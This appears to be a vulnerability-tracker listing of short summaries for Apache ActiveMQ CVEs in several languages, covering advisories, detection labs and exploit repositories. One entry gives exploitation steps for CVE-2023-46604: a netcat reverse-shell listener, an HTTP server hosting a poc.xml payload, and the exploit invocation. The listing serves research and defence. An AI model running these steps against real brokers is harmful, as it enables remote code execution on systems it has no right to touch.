CVE-2026-74761

Improper input validation in TopicRegion in Apache ActiveMQ, Apache Ac...

CVE-2023-46604-LAB

CVE-2023-46604 – Apache ActiveMQ RCE OpenWire Protocol 此仓库记录了一个用于理解和检测影响Apache ActiveMQ的CVE-2023-46604漏洞的实验室环境。 此项目的目标： 了解攻击行为在协议层面的表现 捕获恶意的OpenWire流量 使用Suricata构建检测规则 记录步骤，用于教育和防御安全用途 ⚠️ 重要提示 ：此仓库仅供教育和防御安全目的。 此处不包含攻击代码。仅包含实验室搭建、检测和缓解步骤。 目录 实验室网络拓扑 ActiveMQ安装笔记 Wireshark检测步骤 Suricata IDS规则与配置...

CVE-2026-34197

CVE-2026-34197 Ejecución Remota de Código en Apache ActiveMQ a través de la API Jolokia...

CVE-2026-34197-payload-Apache-ActiveMQ-

ActiveMQ Jolokia RCE Vulnerability Reproduction Guide This repository provides a remote code execution RCE vulnerability reproduction environment and exploitation script based on the exposed Jolokia API endpoint /api/jolokia/ of Apache ActiveMQ. By invoking the addNetworkConnector operation, it...

CVE-2026-74761

Improper input validation in TopicRegion in Apache ActiveMQ, Apache ActiveMQ Broker, and Apache ActiveMQ All on all platforms. An authenticated client can spoof clientId when removing a durable topic subscription. This issue affects Apache ActiveMQ Broker: before 5.19.11, from 6.0.0 before 6.3.2;...

CVE-2026-74761 Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ: Spoofing of RemoveSubscription clientId

Improper input validation in TopicRegion in Apache ActiveMQ, Apache ActiveMQ Broker, and Apache ActiveMQ All on all platforms. An authenticated client can spoof clientId when removing a durable topic subscription. This issue affects Apache ActiveMQ Broker: before 5.19.11, from 6.0.0 before 6.3.2;...

CVE-2026-74761

CVE-2026-74761 is an improper input validation flaw in the TopicRegion component of Apache ActiveMQ (Broker, All, and standalone). An authenticated client can spoof the clientId when removing a durable topic subscription, potentially allowing removal of another client's subscription. Affected ver...

EUVD-2026-74829

Improper input validation in TopicRegion in Apache ActiveMQ, Apache ActiveMQ Broker, and Apache ActiveMQ All on all platforms. An authenticated client can spoof clientId when removing a durable topic subscription. This issue affects Apache ActiveMQ Broker: before 5.19.11, from 6.0.0 before 6.3.2;...

CVE-2026-74761 Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ: Spoofing of RemoveSubscription clientId

Improper input validation in TopicRegion in Apache ActiveMQ, Apache ActiveMQ Broker, and Apache ActiveMQ All on all platforms. An authenticated client can spoof clientId when removing a durable topic subscription. This issue affects Apache ActiveMQ Broker: before 5.19.11, from 6.0.0 before 6.3.2;...

CVE-2026-34197

CVE-2026-34197 — Ejecución Remota de Código en Apache ActiveMQ Classic a través de la API Jolokia TL;DR Una vulnerabilidad de ejecución remota de código en Apache ActiveMQ Classic que permite a un atacante ejecutar código arbitrario invocando la operación MBean addNetworkConnectorString a través ...

CVE-2026-34197

CVE-2026-34197 — Apache ActiveMQ RCE vía Jolokia API Descripción CVE-2026-34197 es una vulnerabilidad de ejecución remota de código RCE en Apache ActiveMQ Classic que permite a un atacante ejecutar comandos arbitrarios en el sistema operativo del servidor a través de la API Jolokia expuesta en la...

PT-2026-88926

Improper input validation in TopicRegion in Apache ActiveMQ, Apache ActiveMQ Broker, and Apache ActiveMQ All on all platforms. An authenticated client can spoof clientId when removing a durable topic subscription. This issue affects Apache ActiveMQ Broker: before 5.19.11, from 6.0.0 before 6.3.2;...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 Descargo de responsabilidad Este repositorio contiene código de prueba de concepto para CVE-2023-466064 y está destinado estrictamente a fines educativos. Los autores y colaboradores no respaldan ninguna actividad ilegal. La información aquí presentada es para fines...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ 和 OpenWire 1 Apache ActiveMQ 与 OpenWire 概述 ActiveMQ 是一个开源的消息传递和集成模式服务器，它包含支持 JMS 的代理（Broker），不仅可以在 Java 环境中使用，还能够实现使用多种语言的系统之间的通信。此外，通过集群功能、数据库以及文件系统，它维护了各系统之间的一致性和持久性。 OpenWire 是 Apache ActiveMQ 使用的一种二进制消息协议。它专为代理（ActiveMQ）与客户端之间的高效数据传输而设计。 CVE-2023-46604 是...

CVE-2023-46604

攻击技术摘要：CVE-2023-46604 该脚本利用Apache ActiveMQ中的不安全反序列化漏洞（CVE-2023-46604），实现在目标服务器上的远程代码执行。 漏洞利用过程描述 漏洞目标： 漏洞存在于Apache ActiveMQ的OpenWire协议中。 允许对对象进行不安全反序列化，从而可在服务器上执行任意代码。 先决条件： 能够通过网络访问ActiveMQ服务器。 目标服务器可访问的一个恶意XML文件（poc.xml），通过URL提供。 攻击组件： Python脚本：自动化向ActiveMQ服务器发送恶意载荷。 XML文件（poc.xml）：包含一个Spring...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Apache ActiveMQ 未经身份验证的远程代码执行的 Python 实现 设置与利用 nc -lvnp 4444 - 启动监听器 python3 -m http.server 8080 - 托管包含你 payload 的 poc.xml python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - 启动利用...

CVE-2022-41678

CVE-2022-41678: MBeans Peligrosos Accesibles a través de la API Jolokia en Apache ActiveMQ Al enumerar e inspeccionar los MBeans expuestos por la API Jolokia en http://127.0.0.1:8161/api/jolokia se han identificado los siguientes vectores de ataque: Escritura Arbitraria de Archivos usando Log4J q...

activemq-ids-ips-lab

IDS/IPS 实验室 - 保护 Apache ActiveMQ 免受 RCE 攻击 本项目评估了 IDS 和 IPS 机制如何在受控实验室环境中检测和阻止 Apache ActiveMQ 漏洞 CVE-2023-46604 的利用。 项目概述 该实验室采用攻击者、网关和受害者系统相互分离的设计，以模拟真实的攻防流程。项目包括漏洞发现、手动验证、利用与缓解。 我的工作 构建并测试了实验室环境 使用 GVM 和 Nmap 对目标进行扫描 使用 Metasploit 模拟攻击 使用 Snort IDS/IPS 实现检测 使用 iptables 和 UFW 应用预防控制...

CVE-2023-46604

CVE-2023-46604 作者: Ruben Fobe & Klaas Stessens 介绍 WARNING 本项目仅用于教育和实验目的。 仅在您拥有或有权测试的环境中使用这些技术。 本实验将模拟利用CVE-2023-46604，使用Kali Linux VM（攻击者）和Debian 11服务器VM（受害者）。 此实验仅在您的主机操作系统为Windows时有效！ -- 如果您使用Linux，此实验将无法运行！ 前提条件 Oracle VirtualBox VBoxmanage（已在PATH中） PowerShell SSH客户端 至少约30 GB可用磁盘空间 使用的软件 警告...

CVE-2026-34197

CVE-2026-34197 - Apache ActiveMQ Jolokia: Ejecución Remota de Código RCE CVE-2026-34197 es una vulnerabilidad de ejecución remota de código RCE de alta severidad que afecta a Apache ActiveMQ Classic. El problema se encuentra dentro del puente Jolokia JMX-HTTP, que expone operaciones de gestión a...